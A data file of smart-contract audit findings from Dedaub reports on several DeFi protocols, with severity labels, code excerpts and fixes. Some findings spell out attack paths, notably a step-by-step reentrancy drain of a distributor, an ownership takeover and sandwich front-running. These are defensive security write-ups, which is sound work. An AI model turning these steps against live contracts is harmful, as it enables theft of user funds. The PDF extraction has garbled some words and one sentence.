"https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", "body": "code style regarding subtractions Resolved In contract ArmorGovernor.sol functions cancel() and propose() include same subtraction operation (block.number - 1) twice but with slightly different implementation. One is executed immediately, while the other uses a safety checking function sub256(). In propose(): 6 require(varmor.getPriorVotes(msg.sender, sub256(block.number, 1)) > proposalThreshold(block.number - 1), Similar in cancel(). Underow seems unlikely in this case, however we suggest that all subtractions are performed in the same way for consistency.", "labels": ["Dedaub", "Armor Governance", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", "body": "errors in error messages Partially resolved (error in AcceptGov() remains) In contract Timelock.sol functions acceptGov() and setPendingGov() contain a typo in the error messages of a requirement. In acceptGov(): require(msg.sender == address(this), \"Timelock::setPendingAdmin: Call must come from Timelock.\"); Should become: require(msg.sender == address(this), \"Timelock::setPendingGov: Call must come from Timelock.\"); Similar for setPendingGov().", "labels": ["Dedaub", "Armor Governance", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", "body": "event emitted Resolved In contract Timelock.sol the function setPendingGov() emits a wrong event. emit NewPendingAdmin(pendingGov); Should become emit NewPendingGov(pendingGov); 7", "labels": ["Dedaub", "Armor Governance", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", "body": "error messages Resolved In contract Timelock.sol the functions which are admin- or gov-only refer only to admin when it comes to authorization-related error messages. For example, in function queueTransaction() require(msg.sender == admin || msg.sender == gov, \"Timelock::queueTransaction: Call must come from admin.\"); Similar for functions cancelTransaction(), executeTransaction(). We suggest that the error messages are extended to include gov as well.", "labels": ["Dedaub", "Armor Governance", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Armor Finance/Armor Governance audit May 21.pdf", "body": "code reuse Info In contract vArmor.sol the Checkpoint struct is used to record both account votes (storage variable checkpoints) and the total token supply (storage variable checkpointsTotal) while the struct eld is named votes, making the code slightly harder to follow. For example, in function _writeCheckpointTotal we inspect the following checkpointsTotal[nCheckpoints - 1].votes = newTotal; A7 Floating pragma Info Use of a oating pragma: The oating pragma pragma solidity ^0.6.6; is used in the Timelock contract allowing it to be compiled with any version of the Solidity compiler that is greater or equal to v0.6.6 and lower than v.0.7.0. Although the differences between these versions are small, oating pragmas should be avoided and the pragma should be xed to the version that will be used for the contracts deployment. ArmorGovernance contract uses pragma solidity ^0.6.12; which can be altered to the identical and simpler pragma solidity 0.6.12;.", "labels": ["Dedaub", "Armor Governance", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "adversary can alter the amount in Distributor.deposit Resolved (but since entire VestingNFTReceiver is removed, similar threats need to be considered in the context of the new architecture upon future audits) Distributor::deposit computes the withdrawAmount by comparing the balance before and after the transfer: uint256 initialBalance = _thisBalance(token); if (token == NATIVE_ASSET) { payable(receiver).sendValue(amount); } else { token.safeTransfer(receiver, amount); } uint256 finalBalance = _thisBalance(token); require(initialBalance > finalBalance, \"Distributor: did not withdraw\"); uint256 withdrawAmount = initialBalance - finalBalance; An adversary who controls the deposit of funds to the distributor can start withdrawing, and deposit funds back to the distributor from within his receive hook. This will cause the distributor to register a possibly much smaller withdrawAmount than the amount actually withdrawn. When used in combination with vestingNFTReceiver, an attack can be executed as follows: First, the adversary withdraws an amount from vesting into the distributor, by calling VestingNFTReceiver::withdraw via Distributor::call Then the adversary starts withdrawing the same amount from the distributor (even if the amount is larger than his own share) From within his receive hook, the adversary releases an equal amount (minus 1 wei) from vesting to the distributor (again by calling VestingNFTReceiver::withdraw via Distributor::call) As a result, the distributor registered a withdrawal of just 1 wei, and the adversary can withdraw again. Using the above procedure, an adversary with only 1% share can withdraw all funds from the distributor in a single transaction. An exploit of this vulnerability has been implemented and will be provided together with this report. 5 This vulnerability can be prevented by a cross-contract lock that prevents entering VestingNFTReceiver::withdraw while Distributor::withdraw is active. A lighter (but less robust) solution is to add the following check: require(withdrawAmount >= amount) One should also keep in mind a symmetric but harder to exploit vulnerability: if the victim calls Distributor::withdraw, and in his receive hook triggers some untrusted code (e.g., transfers the received funds), the adversary can do a nested Distributor::withdraw, causing the distributor to register a larger withdrawn amount for the victim that the real one (hence increasing the adversary's share). A nonReentrant guard in Distributor::withdraw prevents this. The general recommendation at the end of C2 also applies here. C2 The adversary can transferOwnership on Resolved vestingNFTReceiver change Via Distributor::call, an adversary can call VestingNFTReceiver::transferOwnership and call VestingNFTReceiver::withdraw directly (not via the distributor) and receive all vesting funds. himself, which ownership him to allows then the to This can be solved by removing the transferOwnership method and baking the owner into the VestingNFTReceiver during initialization. As a general recommendation, having a general-purpose Distributor contract which allows arbitrary interactions with VestingNFTReceiver via Distributor::call, makes it much harder to design a safe interface. We recommend using a distributor contract with exactly the needed functionality, possibly even merged with VestingNFTReceiver. This would easily solve C2, and would also make it easy to add a lock that solves C1. High Severity ", "labels": ["Dedaub", "Immunefi", "Severity: Critical"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "logic error in SumVesting combinator schedule Status Dismissed (intended behavior, assumptions on vesting schedules will be clearly stated) In combinator schedule SumVesting.sol it is implicitly assumed that the result of the sub-controllers for both getVested() and getWeight() is linearly dependant on the input amount function getVested(CommonParameters calldata input) external pure override returns (uint256 result) { [...] for (uint256 i; i < subControllers.length; i++) { IVestingController subController = subControllers[i]; uint256 share = subShares[i]; // Dedaub: should be input.amount * share/totalShares // Dedaub: but the division happens in the end nextInput.amount = share * input.amount; totalShares += share; [...] result += subController.getVested(nextInput); } result /= totalShares; } Thus the whole input amount is passed to all sub-controllers only to divide the accumulated result amount to the totalShares at the very end. While this assumption holds in the case of simple schedules, such as CliffVesting and LinearVesting, it may not hold for more complex ones that may be added in the future. 9 Similarly, an inaccurate input amount getContext(), createInitialState() and triggerEvent(). is passed to the sub-controllers in functions", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "testing that a transaction succeeded Resolved The following test is taken from test/commentary_tests.js : await expect(Notary.connect(Operator).submitCommentary(BYTES32_STRING)); await expect(Notary.connect(Operator).submitCommentary(BYTES32_ZERO)).to.be.reverted; It seems that the intention of the rst line is to test that submitCommentary succeeded without reverting. However this line does not really check anything, the test will pass even if submitCommentary reverts. The correct test would be: await expect(Notary.connect(Operator).submitCommentary(BYTES32_STRING)).not.to.be.rever ted; similar Many exist test/distributor_tests.js (and possibly elsewhere). commentary_tests.js, cases in contract_tests.js and In the following case, adding the .not.to.be.reverted revealed logic errors in the test: it(\"Validating the attestation on disclosed report `AFTER` ATTESTATION_DELAY\", async function () { await Notary.connect(Triager).attest(reportRoot, kk, commit) await expect(Notary.connect(Triager).disclose(reportRoot, key, salt, value, merkleProofval)) const increaseTime = ATTESTATION_DELAY * 60 * 60 // ATTESTION in `hour` format x 60 min x 60 sec await ethers.provider.send(\"evm_increaseTime\", [increaseTime]) // 1. increase block time await ethers.provider.send(\"evm_mine\") // 2. then mine the block ... Here, disclose is executed before the ATTESTATION_DELAY so it should fail, although the test makes it look like it should succeed. The reason why the test passes is that: 1. The await expect(...) line performs no checks 10 2. Moreover this line does not wait for the transaction to nish, so although disclose is launched before moving time forward, it is executed in the future block, after the time delay, and as a consequence it succeeds. So, if .not.to.be.reverted is added to the await expect(...) line, the test will fail, unless the line is moved after the time increase.", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "variables Resolved There are some variables in contracts Distributor.sol and TokenMinter.sol that are assigned during contract construction and could never change thereafter. In Distributor.sol: /// Only settable by the initializer. bool public override callEnabled; address public override nftHolder; uint256 public override maxBeneficiaries In TokenMinter.sol: /// This initialized by the deployer. The token is completely trusted. IImmunefiToken public override token; We suggest these variables be declared immutable for clarity and gas efciency.", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "receive hook Dismissed (hook needed by IVestingNFTFunder.vestingN FTCallback) The receive() hook in VestingNFT is not to be used intentionally, since ETH is received via mint(). It would be better to revert to avoid accidentally receiving ETH.", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "need to construct a Merkle Tree can be easily avoided Open A large amount of code (MerkleTree.sol / QuickSort.sol) is aimed at constructing (rather than verifying) a MT. However, this is only used by BugReportNotary.assignNullCommentary to construct a tree for a trivial empty commentary. This can be easily avoided by having a hard-coded constant value NULL_COMMENTARY that denotes an empty commentary. The call to discloseCommentary can be omitted in this case 11 (or discloseCommentary can simply check that the value is empty) and NULL_COMMENTARY can be immediately set as canonical.", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "code Partially resolved (dead code still present in LinearVesting.sol) In vesting schedule CliffVesting.sol function _decodeParams() is supposed to return a uint256 value function _decodeParams(bytes calldata params) internal pure returns (uint256 cliffTime) { cliffTime = abi.decode(params, (uint256)); } However, this schedule requires an empty parameter list function checkParams(CommonParameters calldata input) external pure override { require(input.params.length == 0); } All three internal functions _decodeParams(), _decodeState() and decodeContext() are never called for CliffVesting, while the later two are also never called for LinearVesting schedules. We suggest that all unused functions be removed for clarity and gas savings. Alternatively, the current body of CliffVesting::_decodeParams should be removed.", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "function argument Resolved (argument is not redundant for code extensibility reasons) In KeeperRewards::keeperRewards the rst argument is redundant function keeperRewards(address, uint256 value) external pure override returns (uint256) { return value / 1000; } We suggest it be removed for clarity. Also, the constant 1000 in the same code is an arbitrary magic constant, best given a name to document intent.", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "calling pattern Resolved 12 In BugReportNotary the MerkleProof::verify function is called with different syntax. Once as: merkleProof.verify(reportRoot, leafHash) and once as: MerkleProof.verify(merkleProof, commentaryRoot, leafHash) We recommend making uniform for consistency.", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "in vestingNFT Info The README asks for possible ways to remove ReentrancyGuard from vestingNFT. We believe that these guards are critical and advise against trying to remove them (we see no safe way to do so, while keeping the dynamic way of computing the amount of transferred tokens). In particular, a reentrancy to mint from withdraw will directly lead to a severe loss of funds. Currently this is indirectly protected by the nonReentrant ag in _deposit and _beforeTokenTransferInner (we recommend clearly documenting the importance of these ags, to prevent them from getting accidentally removed).", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "funds in a single contract (VestingNFT) Info The architecture stores all ERC-20 tokens (assets) in a single contract (VestingNFT), and accounting for how they are shared among many different NFTs/bounties. This is a decision that puts a signicant burden on asset accounting. It should be simpler/safer to have a treasury contract that indexes assets by NFT and keeps assets entirely separate. However, the current design seems to exist in order to support ERC-20 tokens that change in number, with time. This certainly necessitates a shares model instead of a separate accounts model. It may be good to document exactly the behavior of tokens that the designer of the contract expects, with specic token examples. There are certainly token models that will not be supported by the current design, and others that are. A more radical approach could also be to use a clone of VestingNFT for each bounty (similarly to how clones of vestingNTFReceiver are used), so that funds for each bounty are kept in a separate contract. Apart from facilitating the accounting (no need for a \"shares\" model), this design would likely mitigate the losses from a critical bug (the adversary could drain a single bounty but not all of them).", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "code Resolved 13 The function QuickSort::sort admits some simplications/dead-code elimination. Some of these are only possible under the invariant left < right (which is true in the current uses of the function), others regardless. We highlight them in the four code comments below. function sort( bytes32[] memory arr, uint256 left, uint256 right // Dedaub: invariant: left < right ) internal pure { uint256 i = left; uint256 j = right; if (i == j) return; // Dedaub: dead code, under invariant bytes32 pivot = arr[left + (right - left) / 2]; while (i <= j) { // Dedaub: definitely true the first time, under invariant, // loop could be a do..while while (arr[i] < pivot) i++; while (pivot < arr[j]) j--; if (i <= j) { // Dedaub: always the case, no need to check (arr[i], arr[j]) = (arr[j], arr[i]); i++; j--; } } if (left < j) sort(arr, left, j); if (i < right) sort(arr, i, right); }", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "cannot recover from renouncing Dismissed (intended behavior) In the ImplOwnable contract (currently unused) if the owner calls renounceOwnership, no new owner can be installed. It is unclear whether this is intentional and whether the contract will be used in the future.", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "for contract size Info 14 For the bytecode size issues of VestingNFT, our suggestion would be to create a VestingNFT library contract (containing all functions that do not heavily involve storage slots, such as pure functions, some views that only affect 1-2 storage slots) and have calls in VestingNFT delegate to the library versions. Shorter-term solutions might exist (e.g., removing one of the super-contracts, such as DelegateGuard, in some way) but they will not save a large contract from bumping against size limits for long.", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Immunefi/Immunefi audit Jul 21.pdf", "body": "pragma Open Use of a oating pragma: The oating pragma pragma solidity ^0.8.6; is used, allowing contracts to be compiled with any version of the Solidity compiler that is greater or equal to v0.8.6 and lower than v.0.9.0. Although the differences between these versions should be small, for deployment, oating pragmas should ideally be avoided and the pragma be xed. A15 Compiler known issues Info Solidity compiler v0.8.6, at the time of writing, has no known bugs. 15", "labels": ["Dedaub", "Immunefi", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", "body": "margins mapping indexing in SwapManager::swap RESOLVED Method SwapManager::swap performs an internal balance deposit on the margins mapping when params.toMargin evaluates to true. The margins mapping is a double mapping, going from a PrimitiveEngine address to a user address to the users margin. Instead of indexing the rst mapping with params.engine and the second with msg.sender, indexing is implemented the other way around, leading to invalid PrimitiveHouse state. H2 Incorrect margin deposit value in SwapManager::swap RESOLVED There is a second issue with the margins mapping update operation in SwapManager::swap (the one discussed in issue H1). The deposited amount of tokens is deltaIn instead of deltaOut, which creates inconsistency between the states of PrimitiveEngine and PrimitiveHouse and in general is not consistent with the protocols logic. The following snippet addresses both this issue and issue H1: if (params.toMargin) { margins[params.engine][msg.sender].deposit( params.riskyForStable ? params.deltaOut : 0, params.riskyForStable ? 0 : params.deltaOut ); } 0 [After our report, the Primitive Finance team identied that the deltaOut amount was deposited in the wrong margin, i.e., deltaOut risky in stable margin and the other way around. Consequently, the above example has the ternary operator result expressions inverted in its nal form.] MEDIUM SEVERITY: [No medium severity issues] LOW SEVERITY: ", "labels": ["Dedaub", "Primitive Finance V2", "Severity: High"]}, {"title": "Flash-Loan Functionality ", "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", "body": " DISMISSED PrimitiveEngine::swap can be actually used to get flash loans from the Primitive reserves. However, this functionality is not documented and may have been implemented by mistake. One can get flash loans by implementing a contract with the swapCallback function. When this gets called by the engine, the output ER", "labels": ["Dedaub", "Primitive Finance V2", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", "body": "have already been transferred to the engine contract, and all that is required for the rest of the transaction to succeed is to transfer the input tokens back.", "labels": ["Dedaub", "Primitive Finance V2", "Severity: Critical"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", "body": "Multicall Error Handling OPEN The Multicall error handling mechanism assumes a xed ABI for error messages. This would have worked in Solidity 0.7.x for the default Error(string) ABI. However, Solidity has custom ABIs for 0.8.x that can encode valid errors with a shorter returndata. The correct way to propagate errors is to re-raise them (e.g., by copying the returndata to the revert input data). 0", "labels": ["Dedaub", "Primitive Finance V2", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", "body": "Reserve Balance Mechanisms DISMISSED The balances of the two reserve tokens in the engine are sometimes tracked by incrementing/decrementing internal counters and sometimes by checking balanceOf(). This not only causes the system to read more storage locations, and thus consume more gas, but it also automatically disqualies tokens that have dynamic balances such as aTokens. Fixed Swap Fee Might Not Compensate Theta Decay For All L4 Asset Pairs SPEC CHANGED Options, manifesting themselves as asset pairs of dierent types will encode dierent proportions of intrinsic and extrinsic value. Although the swap fee is meant to compensate for theta decay, it seems strange that this cannot be set per curve or per token pair. We note however that other important parameters such as sigma are customizable. 0 OTHER/ ADVISORY ISSUES: This section details issues that are not thought to directly aect the functionality of the project, but we recommend considering them. ", "labels": ["Dedaub", "Primitive Finance V2", "Severity: Low"]}, {"title": "always returns true ", "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", "body": " RESOLVED Transfers::safeTransfer return value is always true (as noted in a comment), thus can be removed as an optimization.", "labels": ["Dedaub", "Primitive Finance V2", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", "body": "zero liquidity check in PrimitiveEngine::remove RESOLVED PrimitiveEngine::remove does not revert in case of 0 provided liquidity, which leads to unnecessary computation and gas fee for the user. PrimitiveHouse::remove implements an early check for such a scenario.", "labels": ["Dedaub", "Primitive Finance V2", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Primitive Finance/Primitive Finance V2.pdf", "body": "Bookkeeping and Transfers DISMISSED The architecture as it currently stands, and the relationship between PrimitiveHouse and PrimitiveEngine causes multiple token transfers to intermediate contracts, and multiple layers of bookkeeping, with some redundancy. This causes the application to consume more gas. DISMISSED: The specic architecture is highly desired by the protocol developers. Nevertheless, a few transfer operations have been optimized. A4 No engine-risky-stable sanity check in PrimitiveHouse RESOLVED create and allocate methods In PrimitiveHouse::create and PrimitiveHouse::allocate the user has to provide the PrimitiveEngine address and the addresses of the risky and stable tokens, while there is no early check that ensures the pair of risky and stable tokens provided corresponds to the engine address. This check is implemented in the respective callback functions, maintaining the security of the protocol. However, the 0 execution of the contract will only revert at such a late point (i.e., in the callback) even if a user provides a wrong engine, risky and stable tokens triplet by mistake, leading to unnecessary gas consumption, which could have been avoided with an early check. 0", "labels": ["Dedaub", "Primitive Finance V2", "Severity: Informational"]}, {"title": "is susceptible to front-running RESOLVED The OptionExchange contracts redeem() function calls _swapExactInputSingle() with minimum output set to 0, making it susceptible to a front-running/sandwich aack when collateral is being liquidated. It is recommended that a minimum representing an acceptable loss on the swap is used instead. // OptionExchange::redeem function redeem(address[] memory _series) external { _onlyManager(); uint256 adLength = _series.length; for (uint256 i; i < adLength; i++) { // ... Dedaub: Code omied for brevity. if (otokenCollateralAsset == collateralAsset) { // ... Dedaub: Code omied for brevity. } else { // Dedaub: Minimum output set to 0. Susceptible to sandwich aacks. uint256 redeemableCollateral = _swapExactInputSingle(redeemAmount, 0, otokenCollateralAsset); SafeTransferLib.safeTransfer( ERC20(collateralAsset),address(liquidityPool),redeemableCollateral ); emit RedemptionSent( redeemableCollateral, collateralAsset, address(liquidityPool) ); } } } H2 VolatilityFeed updates are susceptible to front-running DISMISSED The VolatilityFeed contract uses the SABR model to compute the implied volatility of an option series. This model uses a number of parameters which are regularly updated by a keeper through the updateSabrParameters() function. It is possible for an aacker to front-run this update, transact with the LiquidityPool at the old price and then transact back with the LiquidityPool at the new price (computed in advance) if the dierence is protable. The Rysk team has indicated that trading will be paused for a few blocks to allow for parameter updates to happen and to eectively prevent this situation. MEDIUM SEVERITY: ID Description M1 No staleness check on the volatility feed ", "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", "body": " ACKNOWLEDGED The function quoteOptionPrice of the BeyondPricer contract retrieves the implied volatility from the function VolatilityFeed::getImpliedVolatility(). However, the returned value is not accompanied by a timestamp that can be used by the quoteOptionPrice() function to determine whether the value is stale or not. Since the implied volatility returned is aected by a keeper, which is responsible for updating the parameters of the underlying SABR model, it is recommended that staleness checks are implemented in order to avoid providing wrong implied volatility values. 5 LOW SEVERITY: ", "labels": ["Dedaub", "Rysk", "Severity: High"]}, {"title": "use of price feeds for the price of the underlyin ", "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", "body": " DISMISSED The BeyondPrice contract gets the price of the underlying token via the function _getUnderlyingPrice(), which consults a Chainlink price feed for the price. // BeyondPrice::_getUnderlyingPrice function _getUnderlyingPrice(address underlying, address _strikeAsset) internal view returns (uint256) { } return PriceFeed(protocol.priceFeed()). getNormalizedRate(underlying, _strikeAsset); However, when trying to obtain the same price in the function _getCollateralRequirements(), the addressBook is used to get the price feed from an Oracle implementing the IOracle interface. // BeyondPrice::_getCollateralRequirements function getCollateralRequirements( Types.OptionSeries memory _optionSeries, uint256 _amount ) internal view returns (uint256) { IMarginCalculator marginCalc = IMarginCalculator(addressBook.getMarginCalculator()); return marginCalc.getNakedMarginRequired( _optionSeries.underlying, _optionSeries.strikeAsset, _optionSeries.collateral, _amount / SCALE_FROM, _optionSeries.strike / SCALE_FROM, // assumes in e18 IOracle(addressBook.getOracle()).getPrice(_optionSeries.underlying), _optionSeries.expiration, 18, // always have the value return in e18 _optionSeries.isPut ); } The same addressBook technique is used in the getCollateral() function of the OptionRegistry contract and in the checkVaultHealth() function of the Option registry contract. It is recommended that this is refactored to use the Chainlink feed in order to avoid a situation where dierent prices for the underlying are obtained by dierent parts of the code. The Rysk team intends to keep the price close to what the Opyn system would quote, thus using the Opyn chainlink oracle is actually correct as it represents the actual situation that would occur for these given quotes L2 Multiple uses of div before mul in OptionExchanges _handleDHVBuyback() function RESOLVED In the OptionExchange contracts _handleDHVBuyback() function, a division is used before a multiplication operation at lines 925 and 932. It is recommended to use multiplication prior to division operations to avoid a possible loss of precision in the calculation. Alternatively, the mulDiv function of the PRBMath library could be used. CENTRALIZATION ISSUES: It is often desirable for DeFi protocols to assume no trust in a central authority, including the protocols owner. Even if the owner is reputable, users are more likely to engage with a protocol that guarantees no catastrophic failure even in the case the owner gets hacked/compromised. We list issues of this kind below. (These issues should be considered in the context of usage/deployment, as they are not uncommon. Several high-prole, high-value protocols have signicant centralization threats.) ", "labels": ["Dedaub", "Rysk", "Severity: Low"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", "body": "reentrancy in OptionRegistry::redeem() ACKNOWLEDGED The OptionRegistrys redeem() function is not access controlled and calls the OpynInteractions library contracts redeem() function, which interacts with the GammaController and the option and collateral tokens. Dedaubs static analysis tools warned about a potential reentrancy risk. Our manual inspection identied no such immediate risk, but as the tokens supported are not strictly dened and a future version of the code could potentially make such an aack possible, it is advisable to add a reentrancy guard around OptionRegistrys redeem() function.", "labels": ["Dedaub", "Rysk", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", "body": "optimisation in OptionRegistrys open() function ACKNOWLEDGED The OptionRegistry::open() function performs the assignment vaultIds[series] = vaultId_ on line 271. But this can be moved into the if block starting at line 255, since the vaultId_ only changes value if this if block is executed. // OpenRegistry::open function open( address _series, uint256 amount, uint256 collateralAmount ) external returns (bool, uint256) { _isLiquidityPool(); // make sure the options are ok to open Types.OptionSeries memory series = seriesInfo[_series]; // assumes strike in e8 if (series.expiration <= block.timestamp) { revert AlreadyExpired(); } // ... Dedaub: Code omied for brevity. if (vaultId_ == 0) { vaultId_ = (controller.getAccountVaultCounter(address(this))) + 1; vaultCount++; } // ... Dedaub: Code omied for brevity. // Dedaub: Below assignment can be moved inside the above block. vaultIds[_series] = vaultId_; // returns in collateral decimals return (true, collateralAmount); }", "labels": ["Dedaub", "Rysk", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", "body": "comment in OptionExchanges _swapExactInputSingle() function RESOLVED The OptionExchanges _swapExactInputSingle() function denition is annotated with several misleading comments. For instance, it mentions that _amountIn has to be in WETH when it can support any collateral token. It also mentions that _assetIn is the stablecoin that is bought, when it is in fact the collateral that is swapped. The description of the function, which reads function to sell exact amount of WETH to decrease delta is incorrect. // OptionExchange::_swapExactInputSingle /** @notice function to sell exact amount of wETH to decrease delta * @param _amountIn the exact amount of wETH to sell * @param _amountOutMinimum the min amount of stablecoin willing to receive. Slippage limit. * @param _assetIn the stablecoin to buy * @return the amount of usdc received */ function _swapExactInputSingle( 1 uint256 _amountIn, uint256 _amountOutMinimum, address _assetIn) internal returns (uint256) { // ... Dedaub: Code omied for brevity. }", "labels": ["Dedaub", "Rysk", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", "body": "comment in BeyondPricers _getSlippageMultiplier() function RESOLVED The division of the _amount by 2, mentioned in the code comment, does not appear in the code. It appears that this comment corresponds to a previous version of the codebase and it should be removed. //BeyondPricer::_getSlippageMultiplier function _getSlippageMultiplier( uint256 _amount, int256 _optionDelta, int256 _netDhvExposure, bool _isSell ) internal view returns (uint256 slippageMultiplier) { // divide _amount by 2 to obtain the average exposure throughout the tx. // Dedaub: The above comment is not relevant any more. // ... Dedaub: Code omied for brevity. }", "labels": ["Dedaub", "Rysk", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", "body": "librarys lognormalVol() can in principle return negative values ACKNOWLEDGED The formula of the SABR model that is responsible for computing the implied volatility (hps://web.math.ku.dk/~rolf/SABR.pdf formula (2.17a)) is an approximate one. It is not clear to us if this value will always be non-negative as it should be. For example, 1 for absolute values of close to 1 and large values of v, the last term of this formula, and probably the whole value of the implied volatility will be negative. The execution of VolatilityFeed::getImpliedVolatility will revert if the value returned by lognormalVol() is non-negative, to protect the protocol from using this absurd value. Nevertheless, if this keeps happening for a while, the protocol will be unable to price the options and therefore will be unable to work. This issue could be avoided either by a careful choice of the SABR parameters by the protocols keepers or by using an alternative volatility feed in case this happens.", "labels": ["Dedaub", "Rysk", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", "body": "check in BeyondPricers quoteOptionprice() RESOLVED In BeyondPricer::quoteOptionPrice() a check that _optionseries.expiration >= block.timestamp is missing. If the function is called to price an option series with a past expiration date, it will return an absurd result. We suggest adding a check that would revert the execution with an appropriate message in case the condition is not satised.", "labels": ["Dedaub", "Rysk", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", "body": "is dened as public even though its name suggests otherwise RESOLVED Function OptionExchange::_checkHash, which returns if an option series is approved or not, is dened as public. However, the starting underscore in _checkHash implies that this functionality should not be exposed externally (via the public modier) creating an inconsistency, even though it is probably useful/necessary to the users of the protocol.", "labels": ["Dedaub", "Rysk", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", "body": "returns an incorrect value RESOLVED Whenever a user wants to buy an amount of options, rst it is checked if the long exposure of the protocol to this option series is positive. If this is the case, then the protocol rst sells the options it holds, to decrease its long exposure, and if they are not 1 enough, then the Liquidity pool writes extra options to reach the amount requested by the user. The problem is that the _buyOption function, in the case the Liquidity pool is called to write these extra options, returns only this extra amount, and not the total amount sold to the user.", "labels": ["Dedaub", "Rysk", "Severity: Informational"]}, {"title": "", "html_url": "https://github.com/dedaub/audits/tree/main/Rysk/Rysk Audit - Feb '23.pdf", "body": "of compiler versions RESOLVED The code of the BeyondPricer, OptionExchange and OptionCatalogue contracts is compiled with the floating pragma >=0.8.0, and the OptionRegistry contract is compiled with the floating pragma >=0.8.9. It is recommended that the compiler version is xed to a specic version and that this is kept consistent amongst source les. A10 Compiler bugs ACKNOWLEDGED The code of the BeyondPricer, OptionExchange and OptionCatalogue contracts is compiled with the floating pragma >=0.8.0, and the OptionRegistry contract is compiled with the floating pragma >=0.8.9. Versions 0.8.0 and 0.8.9 in particular, have some known bugs, which we do not believe aect the correctness of the contracts. 1", "labels": ["Dedaub", "Rysk", "Severity: Informational"]}, {"title": "allows anyone with a seat to reach maxSeatScore for an arbitrary number of seats ", "html_url": "https://github.com/dedaub/audits/tree/main/AORI/Aori audit Jan'23.pdf", "body": " RESOLVED (commit ccbf56c) This function mints as many 1-score seats as the current seat score of seatId function separateSeats(uint256 seatId) public { require(msg.sender == ownerOf(seatId)); uint256 currentSeatScore = seatScore[seatId]; for(uint i = 0; i < currentSeatScore; i++) { uint mintIndex = totalSupply(); _safeMint(msg.sender, mintIndex); seatScore[mintIndex] = 1; } } However, 